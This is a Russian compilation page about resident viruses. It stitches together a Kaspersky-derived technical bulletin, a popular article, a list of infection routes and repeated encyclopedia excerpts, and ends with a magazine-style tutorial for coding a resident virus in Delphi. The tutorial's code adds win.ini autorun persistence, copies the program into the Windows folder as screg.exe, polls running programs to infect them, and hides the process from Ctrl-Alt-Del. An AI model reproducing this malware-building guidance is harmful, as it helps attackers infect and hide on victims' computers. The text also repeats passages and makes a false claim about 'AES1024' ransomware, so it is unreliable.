Какие вирусы являются ограниченно резидентными
В данной части бюллетеня использована информация Лаборатории Касперского (http://www.avp.ru) - самой известной и популярной российской компании, выпускающей антивирусное программное обеспечение.
Под термином "резидентность" (DOS'овский термин TSR - Terminate and Stay Resident) понимается способность вирусов оставлять свои копии в системной памяти, перехватывать некоторые события (например, обращения к файлам или дискам) и вызывать при этом процедуры заражения обнаруженных объектов (файлов и секторов). Таким образом, резидентные вирусы активны не только в момент работы зараженной программы, но и после того, как программа закончила свою работу. Резидентные копии таких вирусов остаются жизнеспособными вплоть до очередной перезагрузки, даже если на диске уничтожены все зараженные файлы. Часто от таких вирусов невозможно избавиться восстановлением всех копий файлов с дистрибутивных дисков или backup-копий. Резидентная копия вируса остается активной и заражает вновь создаваемые файлы. То же верно и для загрузочных вирусов - форматирование диска при наличии в памяти резидентного вируса не всегда вылечивает диск, поскольку многие резидентные вирусы заражают диск повторно, после того как он отформатирован.
Нерезидентные вирусы, напротив, активны довольно непродолжительное время - только в момент запуска зараженной программы. Для своего распространения они ищут на диске незараженные файлы и записываются в них. После того как код вируса передает управление программе-носителю, влияние вируса на работу операционной системы сводится к нулю вплоть до очередного запуска какой-либо зараженной программы. Поэтому файлы, зараженные нерезидентными вирусами, значительно проще удалить с диска и при этом не позволить вирусу заразить их повторно.
DOS предусматривает два легальных способа создания резидентных модулей: драйверами, указываемыми в CONFIG.SYS, и при помощи функции KEEP (INT 21h, AH=31h или INT 27h). Многие файловые вирусы для маскировки своего распространения используют другой способ - обработку системных областей, управляющих распределением памяти (MCB). Они выделяют для себя свободный участок памяти (включая UMB), помечают его как занятый и переписывают туда свою копию. Некоторые вирусы внедряют свои TSR-копии в свободные участки памяти в таблице векторов прерываний, в видео-память, в рабочие области DOS, в память, отведенную под системные буферы и в HMA-память. После выделения блока памяти вирус копирует в него своей код и переопределяет одно или несколько прерываний, необходимых ему для поиска заражаемых файлов, для выполнения деструктивных действий или звуковых и видеоэффектов.
При инфицировании файлов нерезидентные и некоторые резидентные вирусы ищут на диске (дисках) эти файлы при помощи функций DOS FindFirst и FindNext (INT 21h, AH=11h,12h,4Eh,4Fh). Резидентные вирусы используют более широкий список функций DOS, при обращении к которым происходит заражение файла. Фактически в этом списке присутствуют все функции, по значениям входных или выходных параметров которых можно определить имя файла, к которому идет обращение (к таким параметрам относятся значения соответствующих регистров или областей памяти). В результате к "вирусоопасным" функциям прерывания 21h относятся функции выполнения (EXEC, AX=4B00), загрузки в память (AH=4Bh), поиска (FindFirst и FindNext, AH=11h,12h,4Eh,4Fh), создания (Create, AH=3Ch), открытия (Open, AH=3Dh), закрытия (Close, AH=3Eh), изменения атрибутов (ChMode, AH=43h), переименования (Rename, AH=56h) и некоторые другие функции работы с файлами.
Известны несколько способов проверки резидентным вирусом наличия своей копии в памяти компьютера. Первый заключается в том, что вирус вводит новую функцию некоторого прерывания, действие которой заключается в возврате значения "я здесь". При старте вирус обращается к ней, и если возвращенное значение совпадает со значением "я здесь", значит память компьютера уже заражена и повторное заражение не производится. При проверке вторым способом вирус записывает значение "я здесь" в какую-либо редко используемую область памяти - в таблице векторов прерываний или в области данных BIOS (0040:00??). При последующих стартах зараженных программ вирус проверяет это значение и не вызывает процедуру заражения памяти. Существуют, конечно же, и другие способы, например, некоторые вирусы просто сканирует память компьютера.
Некоторые резидентные файловые вирусы (как правило, вирусы, созданные при помощи конструкторов типа VCL и PS-MPC) определяют свою TSR-копию некорректно и копируют себя в оперативную память при каждом запуске зараженного файла. Естественно, что в этом случае компьютер либо сразу зависает, либо через некоторое время перестает выполнять программы по причине нехватки свободной памяти.
Подавляющее большинство резидентных загрузочных вирусов для выделения системной памяти для своей резидентной копии использует один и тот же прием: они уменьшают объем DOS-памяти (слово по адресу 0040:0013) и копируют свой код в "отрезанный" блок памяти. Объем DOS-памяти обычно уменьшается на единицу (один килобайт) в случае коротких загрузочных вирусов, код которых занимает один сектор дискового пространства (512 байт). Вторая половина килобайта используется такими вирусами как буфер чтения/записи при заражении дисков. Если же размер вируса больше одного килобайта или он использует нестандартные методы заражения, требующие большего объема буфера чтения/записи, объем памяти уменьшается на несколько килобайт (среди известных вирусов максимальное значение у вируса RDA.Fighter - 30 Kб).
В дальнейшем некоторые вирусы "ждут" загрузки DOS и восстанавливают первоначальное значение объема системной памяти - в результате они оказываются расположенными не за пределами DOS, а как отдельный блок DOS-памяти. Некоторые загрузочные вирусы вообще не используют и не изменяют значение объема системной памяти. Они копируют себя в какую-либо область памяти, неиспользуемую вплоть до загрузки DOS, ждут загрузки DOS и затем инсталлируют свой код в системе всеми возможными в DOS способами.
Такими вирусами используются несколько способов перехвата момента загрузки DOS. Наиболее "популярный" способ - проверка значения INT 21h (прерывание DOS-функций). Если это значение изменилось, вирусы считают, что инсталляция DOS завершена. Проверка значения INT 21h проводится при вызовах INT 8, 1Ch (прерывания таймера, для этого вирусы, помимо прерываний обращения к дискам, перехватывают также прерывания таймера) или при вызовах INT 13h. Менее популярный способ - проверка данных, считываемых с диска (для этого требуется только перехват INT 13h). Если буфер чтения содержит заголовок EXE-файла, вирусы считают, что загрузка DOS завершена, поскольку в память для выполнения загружается EXE-файл.
Для того чтобы перехватить обращения к дискам, большинство загрузочных вирусов перехватывают INT 13h - основное прерывание для работы с дисками. Реже используется перехват INT 40h - прерывание для работы с флоппи-дисками. Еще реже используются различные экзотические способы перехвата прерываний BIOS и DOS, возникающих при работе с дискетами.
В случае перехвата INT 13h/40h вирусы обрабатывают команды чтения/записи секторов (AH=2,3), проверяют диск на зараженность и записывают в его загрузочный сектор или MBR винчестера свой код. Реже перехватываются другие команды - от команды Reset Disk (AH=0) вплоть до команд "длинного" чтения/записи (AH=0Ah,0Bh).
Большая часть загрузочных вирусов не проверяет системную память на наличие своей уже установленной TSR-копии - они либо используют стелс-приемы и повторный запуск кода вируса невозможен, либо ориентируются на то, что код вируса загружается однократно в момент загрузки DOS - после этого коды загрузочных секторов дисков больше не выполняются ни при каких условиях.
Часть вирусов проверяют наличие своей копии - для этого используются либо специальные вызовы INT 13h с каким-либо нестандартным значением, либо помечается какой-либо заведомо неиспользуемый байт (или слово) в таблице векторов прерываний или в области данных BIOS (0040:00??). Существуют, конечно же, и другие способы детектирования своей TSR-копии.
Для того чтобы оставить выполняемый код в памяти Windows, существует три способа, причем все три способа (за исключением Windows NT) уже применялись различными вирусами.
Самый простой способ - зарегистрировать программу как одно из приложений, работающих в данный момент. Для этого программа регистрирует свою задачу, окно которой может быть скрытым, регистрирует свой обработчик системных событий и т.д. Второй способ - выделить блок системной памяти при помощи DPMI-вызовов и скопировать в него свой код (вирус Ph33r). Третий способ - остаться резидентно как VxD-драйвер (Wnidows 3.xx и Windows95) или как драйвер Windows NT.
Перехват обращений к файлам производится одним из двух способов - либо перехватываются вызовы INT 21h (Hook_V86_Int_Chain, Get/Set_V86_Int_Vector, Get/Set_PM_Int_Vector), либо перехватывается системный вызов API. Затем резидентные Windows-вирусы действуют примерно так же, как и DOS-вирусы: перехватывают обращения к файлам и заражают их.
Для обнаружения уже присутствующей в памяти резидентной копии используются примерно те же способы, что описаны выше, за исключением VxD-вирусов. Известные VxD-вирусы загружаются в память при загрузке Windows. Для этого они записывают команду запуска в файл конфигурации Windows SYSTEM.INI. Если в этом файле уже есть команда запуска вирусного VxD-файла, то вирус не производит повторной регистрации своего VxD-файла.
Большинство макро-вирусов можно считать резидентными, поскольку они присутствуют в области системных макросов в течение всего времени работы редактора. Они, так же, как резидентные загрузочные и файловые вирусы, перехватывают системные события и используют их для своего размножения. К подобным событиям относятся различные системные вызовы, возникающие при работе с документами Word и таблицами Excel (открытие, закрытие, создание, печать и т.д.), вызов пункта меню, нажатие на какую-либо клавишу или достижение какого-либо момента времени. Для перехвата событий макро-вирусы переопределяют один или несколько системных макросов или функций.
При заражении некоторые макро-вирусы проверяют наличие своей копии в заражаемом объекте и повторно себя не копируют. Другие макро-вирусы не делают этого и переписывают свой код при каждом заражении. Если при этом в заражаемом файле или области системных макросов уже определен макрос, имя которого совпадает с макросом вируса, то такой макрос оказывается уничтоженным.
Большинство пользователей хоть раз в жизни сталкивались с понятием компьютерных вирусов. Правда, не многие знают, что классификация угроз в основе своей состоит из двух больших категорий: нерезидентные и резидентные вирусы. Остановимся на втором классе, поскольку именно его представители являются наиболее опасными, а иногда и неудаляемыми даже при форматировании диска или логического раздела.
Что такое резидентные вирусы?
Итак, с чем же имеет дело пользователь? Для упрощенного объяснения структуры и принципов работы таких вирусов для начала стоит остановиться на объяснении того, что такое резидентная программа вообще.
Считается, что к такому типу программ относятся приложения, работающие постоянно в режиме мониторинга, явным образом не проявляя своих действий (например, те же штатные антивирусные сканеры). Что же касается угроз, проникающих в компьютерные системы, они не только висят постоянно в памяти компьютера, но и создают собственные дубли. Таким образом, копии вирусов и постоянно следят за системой, и перемещаются по ней, что существенно затрудняет их поиск. Некоторые угрозы способны еще и менять собственную структуру, а их детектирование на основе общепринятых методов становится практически невозможным. Чуть позже рассмотрим, как избавиться от вирусов такого типа. А пока остановимся на основных разновидностях резидентных угроз.
DOS-угрозы
И именно для таких систем начали создаваться нерезидентные и резидентные вирусы, действие которых сначала было направлено на нарушение работоспособности системы или удаление пользовательских файлов и папок.
Принцип действия таких угроз, который, кстати, широко применяется и до сих пор, состоит в том, что они перехватывают обращения к файлам, а после этого заражают вызываемый объект. Впрочем, большинство известных сегодня угроз работает именно по этому типу. Но вот проникают вирусы в систему либо посредством создания резидентного модуля в виде драйвера, который указывается в файле системной конфигурации Config.sys, либо через использование специальной функции KEEP для отслеживания прерываний.
Все это делает копии вирусных угроз настолько живучими, что они, в отличие от нерезидентных вирусов, которые работают, пока запущена какая-то программа или функционирует операционная система, способны активироваться вновь даже после перезагрузки. Кроме того, при обращении к зараженному объекту вирус способен создавать собственную копию даже в оперативной памяти. Как следствие – моментальное зависание компьютера. Как уже понятно, лечение вирусов этого типа должно производиться при помощи специальных сканеров, причем желательно не стационарных, а портативных или тех, которые способны загружаться с оптических дисков или USB-носителей. Но об этом несколько позже.
Загрузочные угрозы
Кроме отслеживания прерываний такие вирусы способны прописывать собственные коды в загрузочном секторе (запись MBR). Несколько реже используются перехваты BIOS и DOS, причем сами вирусы загружаются однократно, не проверяя наличие собственной копии.
Вирусы под Windows
С появлением Windows-систем разработки вирусов вышли на новый уровень, к сожалению. Сегодня именно Windows любой версии считается наиболее уязвимой системой, несмотря даже на усилия, прилагаемые специалистами корпорации Microsoft в области разработки модулей безопасности.
Вирусы, рассчитанные на Windows, работают по принципам, схожим с DOS-угрозами, вот только способов проникновения на компьютер тут гораздо больше. Из самых распространенных выделяют три основных, по которым в системе вирус может прописать собственный код:
- регистрация вируса как работающего в данный момент приложения;
- выделение блока памяти и запись в него собственной копии;
- работа в системе под видом драйвера VxD или маскировка под драйвер Windows NT.
Макро-вирусы
Такие угрозы в виде системных макросов находятся в памяти в течение всего времени работы редактора. Но в целом если рассматривать вопрос о том, как избавиться от вирусов данного типа, решение оказывается достаточно простым. В некоторых случаях помогает даже обычное отключение надстроек или выполнения макросов в самом редакторе, а также задействование антивирусной защиты апплетов, не говоря уже об обычном быстром сканировании системы антивирусными пакетами.
Теперь посмотрим на маскирующиеся вирусы, ведь не зря же они получили свое название от самолета-невидимки.
Суть их функционирования как раз и состоит в том, что они выдают себя за системный компонент, а определить их обычными способами иногда оказывается достаточно сложным делом. Среди таких угроз можно найти и макровирусы, и загрузочные угрозы, и DOS-вирусы. Считается, что для Windows стелс-вирусы еще не разработаны, хотя многие специалисты утверждают, что это всего лишь дело времени.
Файловые разновидности
Вообще все вирусы можно назвать файловыми, поскольку они так или иначе затрагивают файловую систему и воздействуют на файлы, то ли заражая их собственным кодом, то ли шифруя, то ли делая недоступными по причине порчи или удаления.
Самыми простыми примерами можно назвать современные вирусы-шифровальщики (вымогатели), а также печально известный I Love You. С ними без специальных расшифровочных ключей лечение вирусов произвести не то что сложно, а зачастую невозможно вообще. Даже ведущие разработчики антивирусного ПО бессильно разводят руками, ведь, в отличие от современных систем шифрования AES256, тут применяется технология AES1024. Сами понимаете, что на расшифровку может уйти не один десяток лет, исходя из количества возможных вариантов ключа.
Полиморфные угрозы
Наконец, еще одна разновидность угроз, в которых применяется явление полиморфизма. В чем оно состоит? В том, что вирусы постоянно изменяют собственный код, причем делается это на основе так называемого плавающего ключа.
Иными словами, по маске определить угрозу невозможно, поскольку, как видим, изменяется не только ее структура на основе кода, но и ключ к расшифровке. Для борьбы с такими проблемами применяются специальные полиморфные дешифраторы (расшифровщики). Правда, как показывает практика, они способны расшифровать только самые простые вирусы. Более сложные алгоритмы, увы, в большинстве случаев их воздействию не поддаются. Отдельно стоит сказать, что изменение кода таких вирусов сопутствует созданию копий с уменьшенной их длиной, которая может отличаться от оригинала весьма существенно.
Как бороться с резидентными угрозами
Впрочем, и в этом случае никто не застрахован от того, что угроза не проникнет на компьютер. Если уж такая ситуация произошла, для начала следует применять портативные сканеры, а лучше использовать дисковые утилиты Rescue Disk. С их помощью можно произвести загрузку интерфейса программы и сканирование еще до старта основной операционной системы (вирусы могут создавать и хранить собственные копии в системной и даже в оперативной памяти).
И еще: не рекомендуется использовать программное обеспечение вроде SpyHunter, а то потом от самого пакета и его сопутствующих компонентов избавиться непосвященному пользователю будет проблематично. И, конечно же, не стоит сразу удалять зараженные файлы или пытаться форматировать винчестер. Лучше оставить лечение профессиональным антивирусным продуктам.
Заключение
Остается добавить, что выше рассмотрены только основные аспекты, касающиеся резидентных вирусов и методов борьбы с ними. Ведь если посмотреть на компьютерные угрозы, так сказать, в глобальном смысле, каждый день появляется такое огромное их количество, что разработчики средств защиты просто не успевают придумывать новые методы борьбы с такими напастями.
Резидентный вирус при заражении (инфицировании) компьютера оставляет в
оперативной памяти свою резидентную часть, которая потом перехватывает
обращение операционной системы к объектам заражения (файлам, загрузочным
секторам дисков и т. п.) и внедряется в них. Резидентные вирусы
находятся в памяти и являются активными вплоть до выключения или
перезагрузки компьютера. Нерезидентные вирусы не заражают память
компьютера и являются активными ограниченное время
По степени воздействия вирусы можно разделить на следующие виды:
неопасные, не мешающие работе компьютера, но уменьшающие объем свободной
оперативной памяти и памяти на дисках, действия таких вирусов
проявляются в каких-либо графических или звуковых эффектах
опасные вирусы, которые могут привести к различным нарушениям в работе
компьютера
очень опасные, воздействие которых может привести к потере программ,
уничтожению данных, стиранию информации в системных областях диска.
По особенностям алгоритма вирусы трудно классифицировать из-за большого
разнообразия
Существует немало способов распространения компьютерных вирусов, среди которых можно выделить наиболее распространённые. Кстати, от них не так уж сложно уберечься, если соблюдать несложные правила осторожности. Ниже приведён список тех способов распространения вирусов, от которых наиболее часто страдают рядовые пользователи Интернета.
1) Просмотр сайтов. Данный случай – один из лидеров среди способов заразить ваш компьютер. Чаще всего вирусы проникают на наши ПК через сайты, целевой аудиторией которых являются люди старше18 лет. Данный вид сайтов весьма ненадёжен – через них вирусы распространяются наиболее часто. Вторыми в этом рейтинге идут игровые сайты, а также те, на которых можно скачать взломанные программы. Нередко мошенники умышленно создают Интернет-странички такого рода, чтобы распространить некий вирус, при помощи которого затем получают доступ к заражённым компьютерам пользователей. Чтобы уберечься от подобных махинаций, настройте свой антивирус так, чтобы все соединения извне, а также установка программ, не могли произойти без вашего непосредственного участия.
2) Электронные письма с вложениями (файлами). Это очень простой способ разослать вирус по электронной почте, прикрепив заражённый файл к письму. Большинство людей открывает неопознанные входящие письма из простого любопытства, получая впоследствии проблемы. Способ защититься от подобного прост: нужно удалять письма, пришедшие от неопознанных пользователей, не открывая их. Не смотря на кажущуюся радикальность, это самая разумная мера в данном случае.
3) Заражённое программное обеспечение. Схема заражения компьютера вирусами в этом случае элементарна – пользователь просто загружает на свой компьютер заражённую программу и устанавливает её. Мало кто хочет платить за лицензии программ – все хотят халявы. Тем более, что сегодня в Интернете можно скачать всё что угодно.
4) USB-флешки. В этом случае наиболее подвергнуты заражению те пользователи, чей антивирус не поддерживает проверку флеш накопителей на лету. Флешки сегодня распространены повсеместно, и именно поэтому заражение компьютеров посредством переноса вирусов через USB-накопители так распространено.
5) Сеть. Если ваш компьютер является частью какой-нибудь сети, даже домашней – велик риск заразить все компьютеры этой сети с одного.
6) Фишинг. Речь идёт о фальшивых сайтах, переходя на которые, пользователь часто получает автоматически устанавливаемые вирусы и шпионские программы. В результате фишинга нередко теряются не только данные, но и личные сбережения. Поэтому прежде чем переходить по фишинговым ссылкам, сообщающим вам о якобы каких-то проблемах с вашим банковским счетом, лучше просто позвонить в банк, и не переходить ни по каким ссылкам.
7) Лже антивирусные программы. Это очень распространённый путь инфицирования персональных компьютеров. Никогда не скачивайте антивирус из непроверенного источника – всегда делайте это только с официального сайта антивирусной программы. Иначе вы подвергните свой компьютер повышенному риску инфицирования. Покупка лицензии – оптимальный способ защиты в этом случае.
8) Хакеры. В наши дни с этими людьми проблем стало меньше, но они по-прежнему умудряются портить жизнь пользователям Интернета.
Резидентные вирусы
Резидентные вирусы реагируют на определенные действия вашего компьютера с файлами. Обычно резидентные файловые вирусы выполняют заражение запускаемых программ, однако некоторые из таких вирусов заражают файлы и при их открытии или чтении. [1]
Резидентные вирусы после завершения инфицированной программы остаются в оперативной памяти и продолжают свои деструктивные действия, заражая следующие исполняемые программы и процедуры вплоть до момента выключения компьютера. Нерезидентные вирусы запускаются вместе с зараженной программой и после ее завершения из оперативной памяти удаляются. [2]
Многие резидентные вирусы ( и файловые, и загрузочные) предотвращают свое обнаружение тем, что перехватывают обращения DOS ( и, тем самым, прикладных программ) к зараженным файлам и областям диска и выдают их в исходном ( незараженном) виде. Разумеется, этот эффект наблюдается только на зараженном компьютере - на чистом компьютере изменения в файлах и загрузочных областях диска можно легко обнаружить. [3]
Другим способом заражения пользуются так называемые резидентные вирусы . Гораздо логичнее с точки зрения распространения вируса, после первого же запуска зараженной программы, оставить в памяти компьютера голову вируса, которая перехватывает все обращения вашего компьютера к файлам, содержащим программы и заражает их. Резидентные вирусы постоянно находятся в памяти и являются активными вплоть до выключения или перезагрузки компьютера. [4]
По способу активации вирусы подразделяют на резидентные и нерезидентные. Резидентные вирусы сохраняют свою активность вплоть до выключения или перезагрузки компьютера. Нерезидентные вирусы являются активными ограниченное время и активизируются в определенные моменты, например, при запуске зараженных выполняемых программ или при обработке документов текстовым процессором. Некоторые нерезидентные вирусы оставляют в оперативной памяти небольшие резидентные программы. [5]
Практически все виды вирусов бывают резидентными и нерезидентными. Поэтому резидентные вирусы опасны не только во время работы зараженной программы, но и после ее окончания. Резидентные копии таких вирусов остаются жизнеспособными вплоть до очередной перезагрузки, даже если на диске уничтожены все зараженные файлы. Часто от таких вирусов невозможно избавиться восстановлением всех копий файлов с дистрибутивных дисков или backup - копий. Резидентная копия вируса остается активной и заражает вновь создаваемые файлы. Это характерно и для загрузочных вирусов. Форматирование диска при наличии в памяти резидентного вируса не всегда вылечивает диск, поскольку многие резидентные вирусы заражают его повторно после форматирования. [6]
До сих пор мы предполагали, что при запуске зараженной программы запускается вирус, который передает управление настоящей программе, а сам завершает свое существование в памяти. В отличие от подобных вирусов резидентные вирусы , будучи загруженными в память, остаются там навсегда, либо прячась на самом верху памяти, либо прижимаясь к земле среди векторов прерываний, в которых последние несколько сот байт, как правило, не используются. Очень умные вирусы даже могут модифицировать карту памяти операционной системы, чтобы она полагала, что эта область памяти занята. Таким образом удается избежать опасности загрузки поверх вируса какой-либо другой программы. [8]
Другим способом заражения пользуются так называемые резидентные вирусы. Гораздо логичнее с точки зрения распространения вируса, после первого же запуска зараженной программы, оставить в памяти компьютера голову вируса, которая перехватывает все обращения вашего компьютера к файлам, содержащим программы и заражает их. Резидентные вирусы постоянно находятся в памяти и являются активными вплоть до выключения или перезагрузки компьютера. [9]
Практически все виды вирусов бывают резидентными и нерезидентными. Поэтому резидентные вирусы опасны не только во время работы зараженной программы, но и после ее окончания. Резидентные копии таких вирусов остаются жизнеспособными вплоть до очередной перезагрузки, даже если на диске уничтожены все зараженные файлы. Часто от таких вирусов невозможно избавиться восстановлением всех копий файлов с дистрибутивных дисков или backup - копий. Резидентная копия вируса остается активной и заражает вновь создаваемые файлы. Это характерно и для загрузочных вирусов. Форматирование диска при наличии в памяти резидентного вируса не всегда вылечивает диск, поскольку многие резидентные вирусы заражают его повторно после форматирования. [10]
Привет, друг мой. Судя по письмам наших уважаемых телезрителей, народ
жаждет продолжения. В лице описания работы какого-нибудь злобного и высококонтагиозного вируса. Ну что ж, наш журнал всегда готов удовлетворить самые
изощренные фантазии читателей 🙂 Запасись пивом и сухарями, потому что без них тебе будет
сложно вникнуть в тонкости 🙂
Кодить мы с тобой будем резидентный вирус. Принцип его работы будет иметь мало общего с описанным мной в
прошлой статье (и с типичными образцами жанра), поэтому читай внимательнее. Во-первых при первом запуске на чьей-то машине наш вирус будет писать себя в автозагрузку (с помощью win.ini ;)), и запускаясь таким образом с каждым стартом windows, висеть в оперативке весь сеанс работы, проверяя запуск юзером нужных нам файлов. А как ты помнишь, нужный файл это любой исполнимый, но еще нами не зараженный 😉 Эту ситуацию мы исправим, заразив его.
Естественно, копия вируса в памяти не будет светиться по Ctrl-Alt-De- это уже традиция, мне даже как-то неудобно об этом говорить 🙂 Копия же вируса, запущенная из зараженного файла, не будет делать ничего, кроме запуска зараженной проги (процедур заражения и восстановления файла в этой статье я касаться не буду, поскольку описывал их в прошлый раз).
КОДИНГ
Делай, как всегда, project--> source, киляй окно формы, и мы начнем работать с таким вот DPRом:
<$D->
<$I->
program RESIDEND;
begin
end;
Ну вот, почти чистый лист, а у некоторых читателей уже может возникнуть вопрос: че это за ключи я объявил первыми двумя строчками. Да легко
- ключ <$D->запрещает компилятору включать в код отладочную информацию (размер кода имеет значение ;)), а <$I->- запрещает контроль ошибок ввода-вывода. Таким образом, при возникновении IO ошибки мы словим не радостное красное окно "CONGRAULATIONS! DAS IS GLUK! FILE NOT FOUND. " :), а всего лишь изменение переменной IOResult. Да, еще
- можешь сначала писать вирь, имеющий свое окно 🙂 Тогда ты сможешь выводить лог его работы в какой-нибудь ListBox, а когда все будет пинцетно
- преобразуешь его в чистый вид. Идем дальше, объяви для себя переменные:
My: File;
PerfectCopy,WorkComplete: boolean;
st,pres: string;
win: TIniFile;
virpath: string;
windir: array [0..255] of char;
Wnd : hWnd;
CONsT Virlen: longint= 1000000000;
Во как 🙂 Это оказалось даже проще, чем ты ожидал 🙂 Разберемся:
My - наш зараженный файл, откуда мы, может быть, стартовали.
Wnd - дескриптор окна приложения, которое в данный момент запущено.
PerfectCopy- если она равна TRUE, значит либо ты запустил только что откомпилированный вирус, либо вирус в чистом виде стартанул из автозагрузки. В любом случае, нам не надо ничего восстанавливать и запускать, надо только сидеть и заражать. Вот и глянь, как ЭТО надо делать:
procedure WorkMemory;
begin
While WorkComplete=FALSE do
begin
Wnd := GetWindow(Handle, gw_HWndFirst);
WHILE Wnd <> 0 DO BEGIN
IF (Wnd <> Application.Handle) AND
(GetWindow(Wnd, gw_Owner) = 0)
THEN INFECTFILES;
end;
Тут все, я думаю, ясно - до тех пор, пока это надо (как только станет не надо, в процедуре InfectFiles вставишь WorkComplet= TRUE) мы получаем список запущенных приложений и ловим хэндл главного окна. Остается только заразить файл, чье главное окно мы так круто словили. Для заражения тебе придется либо работать с запущенным файлом (для этого юзай функции API, поскольку с их помощью можно разрешить чужим потокам писать в файл), или жди завершения работы проги-кандидата. Ой, нет, я кажется, гоню. Проблема в том, что эти строки я пишу во время ночного дежурства в больнице, на служебном компе в редакторе Dos Navigatorа 🙂 Так что не гнать я не могу 😉 Ну,
в общем, ты можешь файл-кандидат засунуть в оперативку:
var Memory : TMemoryStream;
begin
Memory := TMemoryStream.Create;
try
Memory.LoadFromFile(жертва);
..
Memory.Read(. );
Memory.Write (. )
Memory.Seek(. );
FileSize := Memory.Size;
..
finally
Memory.Free;
end;
end;
И там производить действия, не боясь ошибок. А потом готовенький файл записать на диск командой SaveToFile.
Да, еще - проверку на application.handle надо делать только если ты пишешь вирус с окном. Т.е. в дебуг-версии 🙂
Затем, для полноценной работы, тебе еще нужны будут процедуры INFECTFILE и CUREANDWORK- первая будет заражать найденный файл , а вторая, соответственно, восстанавливать зараженный файл и запускать его. Эти процедуры ты напишешь уже сам, ориентируясь на пример из статьи "HLLP вирус своими руками". А мы давай посмотрим, как должна выглядеть рабочая версия вируса::
<$D->
<$I->
program RES;
USES windows,inifiles;
var
//Объявляешь переменные
//Модуль процедур
procedure INFECTFILE;
begin
end;
procedure CUREANDWORK;
begin
end;
procedure WorkMemory;
begin
end;
//КОНЕЦ МОДУЛЯ ПРОЦЕДУР, НАЧАЛО ОСНОВНОГО КОДА
begin
WorkComplete:=FALSE;
GetWindowsDirectory (windir,255);
virpath:= windir+'\screg.exe';
Win:= TIniFile.Create('win.ini'); //Поглядим в win.ini
Win.ReadString ('windows','run',pres);
IF pres<> virpath then win.WriteString('windows','run',virpath); //Ах, не мы?? Теперь мы 🙂
Win.Free; //Сохраняем
end.
AssignFile (My,ParamStr(0));
If FileSize(My)=VirLen then
begin
PerfectCopy:= TRUE;
end else CureAndWork;
IF (PerfectCopy= true) AND (ParamStr(0)<>'screg.exe') then
//К виндам
begin
st:= paramstr(0);
St:= st+#0; virpath:= virpath+#0;
CopyFile (@st[1],@virpath[1],false);
//Все, теперь мы есть 🙂
WorkMemory;
end;
IF ParamStr(0)= 'scres.exe' the WorkMemory;
Не просто, а очень просто 🙂 Даже не хочется ничего объяснять, чесслово! Да ладно, шучу я. Логика основной части такова: получаем путь к виндам, смотрим нет ли еще нашей базовой части в автозагрузке (почему я люблю автозагрузку из win.ini? Да потому что в RUN реестра пишутся все, кому не лень, и умные юзеры туда иногда смотрят 🙂 Да и наш код получился бы слишком тяжелым), если нет
- то записываемся и переносим себя в папку 🙂 к виндам под именем screg.exe- это и будет наш резидентный модуль. Вот и все, процедуру заражения дописывай по своему вкусу
- не забудь только, когда будешь восстанавливать зараженную программу проверить
- есть ли резидентная часть в автозагрузке. Если нет
- ты знаешь, что делать. Опс, я опять забыл- про невидимость. Ведь если юзер нажмет на три клавиши, то сильно удивится наличию посторонней проги. Да и кнопка на панели задач может возбудить его подозрения.
В общем, в модуле функций- вставляй
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall;
external 'KERNEL32.DLL';
В начале основной части-
Так, я пойду отдохну, а ты читай заключение и жди следующей статьи.
Ну вот, ты уже в состоянии закодить резидентный вирус. Конечно, резидентным его можно назвать с сильной натяжкой, но все-таки он работает. Да, во избежание тормозов не выясняй список запущенных приложений постоянно. Лучше каждую секунду. Так мы не будем заметны. Ладно, спокойной ночи- в следующий раз я напишу тебе про интернет вирус.
Читайте также: